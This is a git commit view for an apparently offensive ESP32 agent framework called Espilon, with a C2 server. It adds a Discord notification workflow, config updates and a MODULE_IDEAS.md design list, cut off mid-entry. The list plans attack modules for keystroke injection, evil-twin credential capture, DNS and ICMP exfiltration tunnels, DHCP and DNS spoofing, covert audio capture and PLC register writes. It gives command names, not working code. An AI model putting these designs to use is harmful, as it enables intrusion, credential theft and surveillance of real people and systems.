Merge ε-dev: v0.3.0 release
Core refactor, 5 new ESP32 modules (canbus, honeypot, fallback, redteam, OTA), C3PO server rewrite, deploy system, espmon. Credential cleanup (sdkconfig.defaults removed from tracking).
This commit is contained in:
commit
cd0e72e750
53
.github/workflows/discord-notify.yml
vendored
Normal file
53
.github/workflows/discord-notify.yml
vendored
Normal file
@ -0,0 +1,53 @@
|
||||
name: Discord Push Notification
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: ['**']
|
||||
|
||||
jobs:
|
||||
notify:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Send Discord notification
|
||||
env:
|
||||
DISCORD_WEBHOOK: ${{ secrets.DISCORD_WEBHOOK_URL }}
|
||||
COMMIT_MSG: ${{ github.event.head_commit.message }}
|
||||
run: |
|
||||
BRANCH="${GITHUB_REF#refs/heads/}"
|
||||
REPO="${{ github.repository }}"
|
||||
AUTHOR="${{ github.event.head_commit.author.username }}"
|
||||
COMMIT_SHA="${{ github.sha }}"
|
||||
SHORT_SHA="${COMMIT_SHA:0:7}"
|
||||
COMMIT_URL="${{ github.event.head_commit.url }}"
|
||||
COMPARE_URL="${{ github.event.compare }}"
|
||||
COMMIT_COUNT="${{ github.event.size }}"
|
||||
TIMESTAMP="$(date -u +%Y-%m-%dT%H:%M:%S.000Z)"
|
||||
|
||||
# Truncate commit message for embed
|
||||
FIRST_LINE=$(echo "$COMMIT_MSG" | head -n1 | cut -c1-256)
|
||||
|
||||
curl -s -o /dev/null -w "%{http_code}" -H "Content-Type: application/json" \
|
||||
-X POST "$DISCORD_WEBHOOK" \
|
||||
-d @- <<EOF
|
||||
{
|
||||
"embeds": [{
|
||||
"title": "Push on \`${BRANCH}\`",
|
||||
"url": "${COMPARE_URL}",
|
||||
"color": 16312092,
|
||||
"author": {
|
||||
"name": "${AUTHOR}",
|
||||
"url": "https://github.com/${AUTHOR}",
|
||||
"icon_url": "https://github.com/${AUTHOR}.png"
|
||||
},
|
||||
"description": "[\`${SHORT_SHA}\`](${COMMIT_URL}) ${FIRST_LINE}",
|
||||
"fields": [
|
||||
{ "name": "Repository", "value": "[${REPO}](https://github.com/${REPO})", "inline": true },
|
||||
{ "name": "Branch", "value": "\`${BRANCH}\`", "inline": true }
|
||||
],
|
||||
"timestamp": "${TIMESTAMP}",
|
||||
"footer": {
|
||||
"text": "GitHub Push"
|
||||
}
|
||||
}]
|
||||
}
|
||||
EOF
|
||||
33
.gitignore
vendored
33
.gitignore
vendored
@ -2,6 +2,7 @@
|
||||
espilon_bot/build/
|
||||
espilon_bot/sdkconfig
|
||||
espilon_bot/sdkconfig.old
|
||||
espilon_bot/sdkconfig.defaults
|
||||
espilon_bot/.config
|
||||
espilon_bot/.config.old
|
||||
|
||||
@ -30,18 +31,28 @@ ENV/
|
||||
.venv
|
||||
|
||||
# Tools - Python dependencies
|
||||
tools/c2/__pycache__/
|
||||
tools/c3po/__pycache__/
|
||||
tools/flasher/__pycache__/
|
||||
tools/C3PO/__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Configuration files with secrets
|
||||
tools/flasher/devices.json
|
||||
tools/flasher/devices.*.json
|
||||
tools/c2/config.json
|
||||
tools/c3po/config.json
|
||||
tools/C3PO/config.json
|
||||
tools/deploy.json
|
||||
**/config.local.json
|
||||
|
||||
# C3PO runtime / secrets
|
||||
tools/C3PO/keys.json
|
||||
tools/C3PO/*.db
|
||||
tools/C3PO/data/
|
||||
|
||||
# Honeypot runtime databases (can appear anywhere)
|
||||
honeypot_events.db
|
||||
honeypot_events.db-shm
|
||||
honeypot_events.db-wal
|
||||
honeypot_alerts.db
|
||||
honeypot_geo.db
|
||||
*.db-shm
|
||||
*.db-wal
|
||||
|
||||
# Logs
|
||||
*.log
|
||||
logs/
|
||||
@ -49,8 +60,8 @@ espilon_bot/logs/
|
||||
sdkconfig
|
||||
|
||||
# C2 Runtime files (camera streams, recordings)
|
||||
tools/c2/static/streams/*.jpg
|
||||
tools/c2/static/recordings/*.avi
|
||||
tools/C3PO/static/streams/*.jpg
|
||||
tools/C3PO/static/recordings/*.avi
|
||||
*.avi
|
||||
|
||||
# IDE and Editor
|
||||
@ -104,6 +115,10 @@ htmlcov/
|
||||
*.backup
|
||||
*_backup
|
||||
|
||||
# Internal planning
|
||||
plan.md
|
||||
*.plan.md
|
||||
|
||||
# Hardware-specific configs (optional)
|
||||
# Uncomment if you don't want to track these
|
||||
# espilon_bot/partitions.csv
|
||||
|
||||
@ -131,7 +131,7 @@ Thank you for your interest in contributing to Espilon! This document provides g
|
||||
- Tests and test infrastructure
|
||||
- Security enhancements
|
||||
- Translations
|
||||
- Tool improvements (C2, flasher, etc.)
|
||||
- Tool improvements (C2, deploy, etc.)
|
||||
|
||||
**Getting started**:
|
||||
|
||||
@ -348,7 +348,8 @@ mypy tools/c2/
|
||||
- `chore`: Build system, dependencies, etc.
|
||||
|
||||
**Scope** (optional): Module or component affected
|
||||
- `core`, `mod_network`, `mod_fakeap`, `c2`, `docs`, etc.
|
||||
|
||||
- `core`, `mod_network`, `mod_fakeap`, `mod_tunnel`, `mod_redteam`, `mod_honeypot`, `mod_canbus`, `c2`, `docs`, etc.
|
||||
|
||||
**Examples**:
|
||||
```
|
||||
@ -415,7 +416,7 @@ idf.py monitor
|
||||
**For C2 changes**:
|
||||
```bash
|
||||
cd tools/c2
|
||||
python3 c3po.py --port 2626
|
||||
python3 c3po.py
|
||||
# Test with connected ESP32
|
||||
```
|
||||
|
||||
@ -589,16 +590,20 @@ epsilon/
|
||||
├── espilon_bot/ # ESP32 firmware
|
||||
│ ├── components/ # Modular components
|
||||
│ │ ├── core/ # Core functionality
|
||||
│ │ ├── command/ # Command system
|
||||
│ │ ├── mod_system/ # System module
|
||||
│ │ ├── mod_network/ # Network module
|
||||
│ │ ├── mod_network/ # Network + Tunnel module
|
||||
│ │ ├── mod_fakeAP/ # FakeAP module
|
||||
│ │ └── mod_recon/ # Recon module
|
||||
│ │ ├── mod_recon/ # Recon module
|
||||
│ │ ├── mod_redteam/ # Red Team module
|
||||
│ │ ├── mod_honeypot/ # Honeypot module
|
||||
│ │ ├── mod_canbus/ # CAN Bus module
|
||||
│ │ ├── mod_fallback/ # Fallback connectivity
|
||||
│ │ └── mod_ota/ # OTA updates
|
||||
│ └── main/ # Main application
|
||||
├── tools/ # Supporting tools
|
||||
│ ├── c2/ # C2 server (Python)
|
||||
│ ├── flasher/ # Multi-flasher tool
|
||||
│ └── nan/ # NanoPB tools
|
||||
│ ├── C3PO/ # C2 server (Python)
|
||||
│ ├── deploy.py # Unified build, provision & flash
|
||||
│ └── nanoPB/ # Protobuf definitions
|
||||
├── docs/ # Documentation
|
||||
│ ├── INSTALL.md
|
||||
│ ├── HARDWARE.md
|
||||
|
||||
796
MODULE_IDEAS.md
Normal file
796
MODULE_IDEAS.md
Normal file
@ -0,0 +1,796 @@
|
||||
# Espilon Module Ideas
|
||||
|
||||
Future module ideas for the Espilon agent framework, organized by category. Each entry includes hardware requirements, estimated cost, complexity (1-5), and key C2 commands.
|
||||
|
||||
> **Legend**: Complexity 1 = simple wrapper, 5 = full protocol stack. Cost = additional hardware beyond ESP32.
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Radio & Wireless](#radio--wireless)
|
||||
- [USB & HID](#usb--hid)
|
||||
- [Hardware Hacking](#hardware-hacking)
|
||||
- [Network & Protocols](#network--protocols)
|
||||
- [Industrial & SCADA](#industrial--scada)
|
||||
- [Exfiltration & Covert Channels](#exfiltration--covert-channels)
|
||||
- [Sensors & Environment](#sensors--environment)
|
||||
- [Crypto & WiFi Attacks](#crypto--wifi-attacks)
|
||||
- [Automotive](#automotive)
|
||||
- [Physical Security](#physical-security)
|
||||
|
||||
---
|
||||
|
||||
## Radio & Wireless
|
||||
|
||||
### mod_ble — Bluetooth Low Energy
|
||||
|
||||
**Hardware**: ESP32 built-in | **Cost**: 0 EUR | **Complexity**: 3/5
|
||||
|
||||
BLE scanning, GATT enumeration, beacon spoofing, and device tracking.
|
||||
|
||||
**Commands**:
|
||||
- `ble_scan [duration]` — Discover BLE devices (name, RSSI, services)
|
||||
- `ble_enum <addr>` — Enumerate GATT services and characteristics
|
||||
- `ble_read <addr> <handle>` — Read characteristic value
|
||||
- `ble_write <addr> <handle> <hex>` — Write to characteristic
|
||||
- `ble_beacon <uuid> [major] [minor]` — Spoof iBeacon/Eddystone
|
||||
- `ble_track <addr> [duration]` — Track device RSSI over time
|
||||
- `ble_flood [count]` — Broadcast random BLE advertisements
|
||||
|
||||
**Use cases**: IoT device recon, BLE lock testing, asset tracking, Bluetooth phishing.
|
||||
|
||||
---
|
||||
|
||||
### mod_zigbee — IEEE 802.15.4 / Zigbee
|
||||
|
||||
**Hardware**: CC2530/CC2531 module via UART | **Cost**: ~4 EUR | **Complexity**: 4/5
|
||||
|
||||
Sniff, inject, and replay Zigbee/802.15.4 frames. Targets smart home (Philips Hue, SmartThings, Ikea).
|
||||
|
||||
**Commands**:
|
||||
- `zigbee_scan [channel]` — Discover Zigbee networks and devices
|
||||
- `zigbee_sniff <channel> [duration]` — Capture 802.15.4 frames
|
||||
- `zigbee_inject <channel> <hex_frame>` — Inject raw frame
|
||||
- `zigbee_replay` — Replay captured frames
|
||||
- `zigbee_key_sniff [duration]` — Capture transport key exchange
|
||||
- `zigbee_jam <channel>` — Channel jamming
|
||||
|
||||
**Use cases**: Smart home testing, IoT protocol analysis, Zigbee network penetration.
|
||||
|
||||
---
|
||||
|
||||
### mod_nfc — RFID / NFC
|
||||
|
||||
**Hardware**: RC522 (MIFARE) or PN532 (full NFC) via SPI | **Cost**: ~3 EUR | **Complexity**: 3/5
|
||||
|
||||
Read, write, clone, and emulate RFID/NFC tags. Supports MIFARE Classic, NTAG, and ISO 14443.
|
||||
|
||||
**Commands**:
|
||||
- `nfc_scan` — Detect tags in range (UID, type, ATQA, SAK)
|
||||
- `nfc_read <sector> [key]` — Read MIFARE sector
|
||||
- `nfc_write <sector> <hex> [key]` — Write to sector
|
||||
- `nfc_clone` — Read tag → store → emulate (UID-level clone)
|
||||
- `nfc_crack <sector>` — MIFARE Classic key recovery (nested/hardnested)
|
||||
- `nfc_dump` — Dump full tag contents
|
||||
- `nfc_emulate <uid>` — Emulate tag UID
|
||||
|
||||
**Use cases**: Access card cloning, NFC payment research, badge system testing.
|
||||
|
||||
---
|
||||
|
||||
### mod_subghz — Sub-GHz Radio (433/868/915 MHz)
|
||||
|
||||
**Hardware**: CC1101 module via SPI | **Cost**: ~3 EUR | **Complexity**: 4/5
|
||||
|
||||
Sniff, decode, record, and replay sub-GHz radio signals. Targets garage doors, remotes, weather stations, sensors.
|
||||
|
||||
**Commands**:
|
||||
- `subghz_rx <freq_mhz> [modulation]` — Listen on frequency (ASK/FSK/GFSK)
|
||||
- `subghz_tx <freq_mhz> <hex_data> [repeat]` — Transmit raw data
|
||||
- `subghz_scan <start_mhz> <end_mhz>` — Frequency scanner (find active freqs)
|
||||
- `subghz_record <freq_mhz> [duration]` — Record raw signal
|
||||
- `subghz_replay [speed]` — Replay recorded signal
|
||||
- `subghz_decode <protocol>` — Decode known protocols (Oregon, LaCrosse, etc.)
|
||||
- `subghz_bruteforce <freq_mhz> <bits> [delay]` — Brute-force fixed codes
|
||||
|
||||
**Use cases**: Garage door testing, remote control analysis, sensor spoofing, ISM band recon.
|
||||
|
||||
---
|
||||
|
||||
### mod_lora — LoRa Long-Range Mesh
|
||||
|
||||
**Hardware**: SX1276/SX1278 module via SPI | **Cost**: ~5 EUR | **Complexity**: 3/5
|
||||
|
||||
LoRa-based backup C2 channel and mesh network for long-range, low-bandwidth communication.
|
||||
|
||||
**Commands**:
|
||||
- `lora_start <freq_mhz> [sf] [bw]` — Init LoRa radio (spreading factor, bandwidth)
|
||||
- `lora_send <hex_data>` — Send raw LoRa packet
|
||||
- `lora_listen [duration]` — Receive packets
|
||||
- `lora_mesh_start` — Enable mesh relay mode (multi-hop)
|
||||
- `lora_c2_enable` — Use LoRa as backup C2 channel
|
||||
- `lora_range_test` — Ping-pong range measurement
|
||||
|
||||
**Use cases**: Backup C2 (1-10 km range), field mesh network, exfiltration when WiFi unavailable.
|
||||
|
||||
---
|
||||
|
||||
### mod_ir — Infrared TX/RX
|
||||
|
||||
**Hardware**: IR LED + IR receiver (VS1838B) | **Cost**: ~1 EUR | **Complexity**: 2/5
|
||||
|
||||
Capture, decode, and replay infrared remote signals. Universal remote functionality.
|
||||
|
||||
**Commands**:
|
||||
- `ir_learn [timeout]` — Record IR signal from any remote
|
||||
- `ir_send <protocol> <code>` — Send known protocol (NEC, Sony, RC5, Samsung)
|
||||
- `ir_replay` — Replay last captured signal
|
||||
- `ir_scan` — Brute-force common power codes (TV-B-Gone style)
|
||||
- `ir_raw_send <timing_data>` — Send raw pulse/space timing
|
||||
|
||||
**Use cases**: TV/AC control, IR protocol analysis, physical access (some locks use IR).
|
||||
|
||||
---
|
||||
|
||||
### mod_espnow_swarm — Coordinated ESP-NOW Swarm
|
||||
|
||||
**Hardware**: Additional ESP32 agents | **Cost**: 0 EUR per agent | **Complexity**: 4/5
|
||||
|
||||
Coordinate multiple Espilon agents via ESP-NOW for distributed operations. Mesh-aware task distribution.
|
||||
|
||||
**Commands**:
|
||||
- `swarm_discover` — Find nearby Espilon agents
|
||||
- `swarm_broadcast <command>` — Send command to all agents
|
||||
- `swarm_assign <agent_id> <command>` — Targeted task assignment
|
||||
- `swarm_sync` — Synchronize clocks for coordinated actions
|
||||
- `swarm_scan_distributed <target>` — Parallel network scanning from multiple positions
|
||||
- `swarm_relay <agent_id>` — Use agent as relay for out-of-range C2
|
||||
|
||||
**Use cases**: Distributed WiFi scanning, coordinated deauth, coverage extension, multi-angle recon.
|
||||
|
||||
---
|
||||
|
||||
### mod_tpms — Tire Pressure Monitoring
|
||||
|
||||
**Hardware**: CC1101 (315 or 433 MHz) | **Cost**: ~3 EUR | **Complexity**: 3/5
|
||||
|
||||
Sniff and spoof TPMS sensors at 315/433 MHz. Vehicle identification via unique sensor IDs.
|
||||
|
||||
**Commands**:
|
||||
- `tpms_listen [duration]` — Capture TPMS broadcasts
|
||||
- `tpms_decode` — Show decoded sensor data (pressure, temp, ID)
|
||||
- `tpms_track <sensor_id>` — Track specific vehicle presence
|
||||
- `tpms_spoof <sensor_id> <pressure> <temp>` — Inject fake reading
|
||||
|
||||
**Use cases**: Vehicle tracking via TPMS IDs, TPMS protocol research.
|
||||
|
||||
---
|
||||
|
||||
## USB & HID
|
||||
|
||||
### mod_badusb — USB HID Injection
|
||||
|
||||
**Hardware**: ESP32-S2 or ESP32-S3 (native USB) | **Cost**: 0 EUR | **Complexity**: 3/5
|
||||
|
||||
Keystroke injection attack via USB HID. Triggered remotely from C2.
|
||||
|
||||
**Commands**:
|
||||
- `badusb_run <payload_name>` — Execute named payload
|
||||
- `badusb_type <text>` — Type arbitrary text
|
||||
- `badusb_key <combo>` — Send key combo (e.g., `WIN+R`, `CTRL+ALT+DEL`)
|
||||
- `badusb_delay <ms>` — Wait between keystrokes
|
||||
- `badusb_upload <script>` — Upload Ducky Script payload
|
||||
- `badusb_list` — List stored payloads
|
||||
- `badusb_os_detect` — Detect target OS via timing analysis
|
||||
|
||||
**Use cases**: Physical access exploitation, credential harvesting, reverse shell deployment.
|
||||
|
||||
---
|
||||
|
||||
### mod_rubber_ducky — Ducky Script Interpreter
|
||||
|
||||
**Hardware**: ESP32-S2/S3 | **Cost**: 0 EUR | **Complexity**: 2/5
|
||||
|
||||
Full Ducky Script interpreter for scripted USB HID payloads. Companion to mod_badusb.
|
||||
|
||||
**Commands**:
|
||||
- `ducky_load <script>` — Load script from NVS or C2
|
||||
- `ducky_exec` — Execute loaded script
|
||||
- `ducky_store <name> <script>` — Save payload to NVS
|
||||
- `ducky_list` — List stored scripts
|
||||
|
||||
---
|
||||
|
||||
### mod_usb_mitm — USB Man-in-the-Middle
|
||||
|
||||
**Hardware**: ESP32-S3 (dual USB ports) | **Cost**: 0 EUR | **Complexity**: 5/5
|
||||
|
||||
Transparent USB proxy: sniff, modify, or inject traffic between host and device.
|
||||
|
||||
**Commands**:
|
||||
- `usb_mitm_start` — Start USB proxy
|
||||
- `usb_mitm_sniff [class]` — Log traffic (HID, mass storage, etc.)
|
||||
- `usb_mitm_inject <hex>` — Inject USB packets
|
||||
- `usb_mitm_filter <rule>` — Modify packets in transit
|
||||
|
||||
**Use cases**: USB protocol analysis, keyboard sniffing, mass storage interception.
|
||||
|
||||
---
|
||||
|
||||
## Hardware Hacking
|
||||
|
||||
### mod_jtag — JTAG/SWD Debug Interface
|
||||
|
||||
**Hardware**: GPIO wires (no extra module) | **Cost**: 0 EUR | **Complexity**: 4/5
|
||||
|
||||
Bit-bang JTAG/SWD for firmware extraction, debug access, and boundary scan on target devices.
|
||||
|
||||
**Commands**:
|
||||
- `jtag_scan` — Detect JTAG chain (IDCODE scan)
|
||||
- `jtag_read <addr> <size>` — Read memory via debug port
|
||||
- `jtag_write <addr> <hex>` — Write memory
|
||||
- `jtag_dump <addr> <size>` — Dump firmware to C2
|
||||
- `swd_scan` — Detect SWD target
|
||||
- `swd_read <addr> <size>` — Read via SWD
|
||||
- `swd_halt` / `swd_resume` — Halt/resume target CPU
|
||||
|
||||
**Use cases**: Firmware extraction from IoT devices, bypassing read-out protection, live debugging.
|
||||
|
||||
---
|
||||
|
||||
### mod_uart_bridge — UART Sniff/Inject
|
||||
|
||||
**Hardware**: GPIO wires (no extra module) | **Cost**: 0 EUR | **Complexity**: 2/5
|
||||
|
||||
UART bridge: sniff serial console traffic or inject commands. Auto-detect baud rate.
|
||||
|
||||
**Commands**:
|
||||
- `uart_scan [gpio]` — Auto-detect baud rate on GPIO pin
|
||||
- `uart_listen <baud> <rx_gpio> [duration]` — Sniff UART traffic
|
||||
- `uart_send <baud> <tx_gpio> <data>` — Send data
|
||||
- `uart_bridge <baud> <rx> <tx>` — Bidirectional bridge (relay to C2)
|
||||
|
||||
**Use cases**: Router console access, IoT device debug ports, embedded system exploitation.
|
||||
|
||||
---
|
||||
|
||||
### mod_i2c_scan — I2C Bus Discovery
|
||||
|
||||
**Hardware**: GPIO wires | **Cost**: 0 EUR | **Complexity**: 2/5
|
||||
|
||||
Scan, read, and write I2C devices. EEPROM dumping and sensor spoofing.
|
||||
|
||||
**Commands**:
|
||||
- `i2c_scan [sda] [scl]` — Discover devices on bus
|
||||
- `i2c_read <addr> <reg> <len>` — Read registers
|
||||
- `i2c_write <addr> <reg> <hex>` — Write registers
|
||||
- `i2c_dump_eeprom <addr> <size>` — Dump EEPROM contents
|
||||
|
||||
**Use cases**: EEPROM credential extraction, sensor data manipulation, I2C device enumeration.
|
||||
|
||||
---
|
||||
|
||||
### mod_spi_flash — SPI Flash Dumper
|
||||
|
||||
**Hardware**: SOIC-8 clip + GPIO wires | **Cost**: ~5 EUR | **Complexity**: 3/5
|
||||
|
||||
Read/write SPI NOR flash chips (25xx series). In-circuit or off-board.
|
||||
|
||||
**Commands**:
|
||||
- `spi_flash_detect` — Read JEDEC ID, detect chip
|
||||
- `spi_flash_read <addr> <size>` — Read flash to C2
|
||||
- `spi_flash_write <addr> <hex>` — Write data
|
||||
- `spi_flash_erase <addr> <size>` — Erase sectors
|
||||
- `spi_flash_dump` — Full chip dump
|
||||
|
||||
**Use cases**: Firmware extraction, credential recovery, flash image modification.
|
||||
|
||||
---
|
||||
|
||||
### mod_glitch — Voltage/Clock Glitching
|
||||
|
||||
**Hardware**: MOSFET + GPIO (voltage glitch) or clock inject circuit | **Cost**: ~5 EUR | **Complexity**: 5/5
|
||||
|
||||
Fault injection: precise voltage or clock glitches to bypass secure boot, skip instructions, or corrupt crypto.
|
||||
|
||||
**Commands**:
|
||||
- `glitch_config <width_ns> <offset_ns> <repeat>` — Set glitch parameters
|
||||
- `glitch_arm <trigger_gpio>` — Arm, fire on trigger edge
|
||||
- `glitch_fire` — Manual trigger
|
||||
- `glitch_sweep <start_ns> <end_ns> <step>` — Automated parameter sweep
|
||||
|
||||
**Use cases**: Secure boot bypass, read-out protection defeat, crypto fault injection.
|
||||
|
||||
---
|
||||
|
||||
## Network & Protocols
|
||||
|
||||
### mod_dns — DNS Spoofing & Tunneling
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
|
||||
|
||||
DNS server for spoofing + DNS tunnel for covert data exfiltration through firewalls.
|
||||
|
||||
**Commands**:
|
||||
- `dns_spoof_start <domain> <ip>` — Spoof specific domain resolution
|
||||
- `dns_spoof_all <ip>` — Redirect all DNS queries to IP
|
||||
- `dns_spoof_stop` — Stop spoofing
|
||||
- `dns_tunnel_start <domain>` — Start DNS tunnel (data over TXT/CNAME)
|
||||
- `dns_tunnel_send <hex>` — Exfiltrate data via DNS
|
||||
|
||||
**Use cases**: Pharming, captive portal bypass, firewall evasion, covert exfiltration.
|
||||
|
||||
---
|
||||
|
||||
### mod_dhcp — DHCP Attacks
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
|
||||
|
||||
DHCP starvation and rogue DHCP server for MitM via gateway redirection.
|
||||
|
||||
**Commands**:
|
||||
- `dhcp_starve [count]` — Exhaust DHCP pool with fake MACs
|
||||
- `dhcp_rogue_start <gateway_ip> <dns_ip>` — Start rogue DHCP server
|
||||
- `dhcp_rogue_stop` — Stop rogue server
|
||||
- `dhcp_discover` — Passive DHCP monitoring
|
||||
|
||||
**Use cases**: MitM setup, network disruption, rogue gateway for traffic interception.
|
||||
|
||||
---
|
||||
|
||||
### mod_mdns — mDNS/Bonjour Discovery
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 2/5
|
||||
|
||||
Discover and spoof local services via mDNS (Bonjour, Avahi).
|
||||
|
||||
**Commands**:
|
||||
- `mdns_scan [duration]` — Discover all mDNS services
|
||||
- `mdns_query <service>` — Query specific service type (_http._tcp, _ssh._tcp, etc.)
|
||||
- `mdns_spoof <hostname> <ip>` — Spoof mDNS response
|
||||
- `mdns_register <service> <port>` — Advertise fake service
|
||||
|
||||
**Use cases**: Local service enumeration, service spoofing, printer/AirPlay impersonation.
|
||||
|
||||
---
|
||||
|
||||
### mod_mqtt — MQTT Broker/Client
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
|
||||
|
||||
MQTT client for IoT device interaction + rogue broker for message interception.
|
||||
|
||||
**Commands**:
|
||||
- `mqtt_connect <broker> [user] [pass]` — Connect to broker
|
||||
- `mqtt_sub <topic>` — Subscribe and stream messages to C2
|
||||
- `mqtt_pub <topic> <payload>` — Publish message
|
||||
- `mqtt_enum` — Enumerate all topics (wildcard subscribe)
|
||||
- `mqtt_broker_start [port]` — Start rogue MQTT broker
|
||||
- `mqtt_intercept <topic>` — MitM specific topic
|
||||
|
||||
**Use cases**: IoT device control, smart home exploitation, message injection, credential sniffing.
|
||||
|
||||
---
|
||||
|
||||
### mod_coap — CoAP Discovery & Exploitation
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
|
||||
|
||||
CoAP client for constrained IoT device interaction (UDP-based REST).
|
||||
|
||||
**Commands**:
|
||||
- `coap_discover <ip>` — Discover CoAP resources (.well-known/core)
|
||||
- `coap_get <uri>` — GET resource
|
||||
- `coap_put <uri> <payload>` — PUT resource
|
||||
- `coap_observe <uri>` — Subscribe to resource changes
|
||||
|
||||
**Use cases**: IoT device enumeration, sensor data extraction, actuator control.
|
||||
|
||||
---
|
||||
|
||||
### mod_upnp — UPnP/SSDP Discovery
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 2/5
|
||||
|
||||
Discover and interact with UPnP devices on the network. Map router port forwards.
|
||||
|
||||
**Commands**:
|
||||
- `upnp_scan` — Discover UPnP devices (SSDP M-SEARCH)
|
||||
- `upnp_describe <url>` — Get device description XML
|
||||
- `upnp_port_map <ext_port> <int_ip> <int_port>` — Add port mapping on router
|
||||
- `upnp_port_list` — List existing port mappings
|
||||
- `upnp_port_del <ext_port>` — Remove port mapping
|
||||
|
||||
**Use cases**: Router exploitation, port mapping for persistence, device enumeration.
|
||||
|
||||
---
|
||||
|
||||
### mod_socks — SOCKS5 Proxy
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
|
||||
|
||||
Full SOCKS5 proxy running on the agent for network pivoting.
|
||||
|
||||
**Commands**:
|
||||
- `socks_start [port] [auth]` — Start SOCKS5 server
|
||||
- `socks_stop` — Stop proxy
|
||||
- `socks_status` — Active connections, bandwidth stats
|
||||
- `socks_whitelist <ip>` — Allow only specific clients
|
||||
|
||||
**Use cases**: Network pivoting, traffic routing through agent, accessing internal networks.
|
||||
|
||||
---
|
||||
|
||||
### mod_wifi_rogue — Advanced Evil Twin
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 5/5
|
||||
|
||||
WPA2-Enterprise Evil Twin with EAP credential interception (EAP-TTLS, PEAP, MSCHAPv2).
|
||||
|
||||
**Commands**:
|
||||
- `rogue_start <ssid> [eap_type]` — Start evil twin with RADIUS
|
||||
- `rogue_stop` — Stop
|
||||
- `rogue_creds` — List captured credentials
|
||||
- `rogue_deauth <bssid> <station>` — Force client reconnection to rogue AP
|
||||
|
||||
**Use cases**: Enterprise WiFi credential harvesting, WPA2-Enterprise testing.
|
||||
|
||||
---
|
||||
|
||||
## Industrial & SCADA
|
||||
|
||||
### mod_modbus — Modbus TCP/RTU
|
||||
|
||||
**Hardware**: None (TCP) or MAX485 (~2 EUR for RTU) | **Cost**: 0-2 EUR | **Complexity**: 3/5
|
||||
|
||||
Modbus protocol for SCADA/ICS reconnaissance and interaction.
|
||||
|
||||
**Commands**:
|
||||
- `modbus_scan <ip_range>` — Discover Modbus TCP devices
|
||||
- `modbus_read <ip> <unit> <addr> <count> [type]` — Read holding/input registers
|
||||
- `modbus_write <ip> <unit> <addr> <value>` — Write register
|
||||
- `modbus_coils <ip> <unit> <addr> <count>` — Read/write coils
|
||||
- `modbus_enum <ip>` — Enumerate function codes and unit IDs
|
||||
- `modbus_rtu_scan <baud>` — Scan RTU bus (RS-485)
|
||||
|
||||
**Use cases**: SCADA assessment, PLC interaction, industrial network mapping.
|
||||
|
||||
---
|
||||
|
||||
### mod_bacnet — Building Automation
|
||||
|
||||
**Hardware**: None (WiFi/Ethernet) | **Cost**: 0 EUR | **Complexity**: 4/5
|
||||
|
||||
BACnet protocol for building automation system interaction (HVAC, lighting, access).
|
||||
|
||||
**Commands**:
|
||||
- `bacnet_discover` — Who-Is broadcast, discover BACnet devices
|
||||
- `bacnet_read <device> <object> <property>` — Read property
|
||||
- `bacnet_write <device> <object> <property> <value>` — Write property
|
||||
- `bacnet_enum <device>` — Enumerate objects on device
|
||||
|
||||
**Use cases**: Building automation testing, HVAC control, access system research.
|
||||
|
||||
---
|
||||
|
||||
### mod_ethernet — Wired Ethernet (W5500)
|
||||
|
||||
**Hardware**: W5500 or ENC28J60 SPI module | **Cost**: ~4 EUR | **Complexity**: 3/5
|
||||
|
||||
Wired Ethernet connectivity — bypass WiFi isolation, direct LAN access.
|
||||
|
||||
**Commands**:
|
||||
- `eth_start [dhcp|static <ip>]` — Init Ethernet interface
|
||||
- `eth_status` — Link state, IP config
|
||||
- `eth_scan` — ARP scan on wired LAN
|
||||
- `eth_bridge` — Bridge WiFi ↔ Ethernet traffic
|
||||
|
||||
**Use cases**: Drop box on wired network, bypass wireless ACLs, physical pentesting.
|
||||
|
||||
---
|
||||
|
||||
## Exfiltration & Covert Channels
|
||||
|
||||
### mod_dns_tunnel — C2 over DNS
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 4/5
|
||||
|
||||
Full C2 communication over DNS queries/responses. Bypasses most firewalls.
|
||||
|
||||
**Commands**:
|
||||
- `dns_c2_start <domain> <resolver>` — Start DNS C2 channel
|
||||
- `dns_c2_stop` — Revert to TCP
|
||||
- `dns_c2_status` — Throughput, latency stats
|
||||
|
||||
**Use cases**: Firewall bypass, restricted network C2, exfiltration through corporate DNS.
|
||||
|
||||
---
|
||||
|
||||
### mod_icmp_tunnel — C2 over ICMP
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 3/5
|
||||
|
||||
Backup C2 channel using ICMP echo request/reply payloads.
|
||||
|
||||
**Commands**:
|
||||
- `icmp_c2_start <server_ip>` — Start ICMP tunnel
|
||||
- `icmp_c2_stop` — Revert to TCP
|
||||
- `icmp_exfil <hex_data>` — One-shot data exfiltration
|
||||
|
||||
**Use cases**: C2 when TCP is blocked, ping-based covert channel.
|
||||
|
||||
---
|
||||
|
||||
### mod_audio_exfil — Audio Capture
|
||||
|
||||
**Hardware**: INMP441 I2S MEMS microphone | **Cost**: ~3 EUR | **Complexity**: 4/5
|
||||
|
||||
Audio recording and optional ultrasonic covert channel for air-gapped data transfer.
|
||||
|
||||
**Commands**:
|
||||
- `audio_record [duration] [quality]` — Record audio, stream to C2
|
||||
- `audio_level` — Ambient noise level (trigger-based recording)
|
||||
- `audio_vad_start` — Voice Activity Detection — record only when speaking
|
||||
- `audio_ultrasonic_tx <hex>` — Transmit data via ultrasound (18-22 kHz)
|
||||
|
||||
**Use cases**: Environmental awareness, meeting capture, air-gap bridging.
|
||||
|
||||
---
|
||||
|
||||
### mod_sdcard — SD Card Storage
|
||||
|
||||
**Hardware**: MicroSD module via SPI | **Cost**: ~2 EUR | **Complexity**: 2/5
|
||||
|
||||
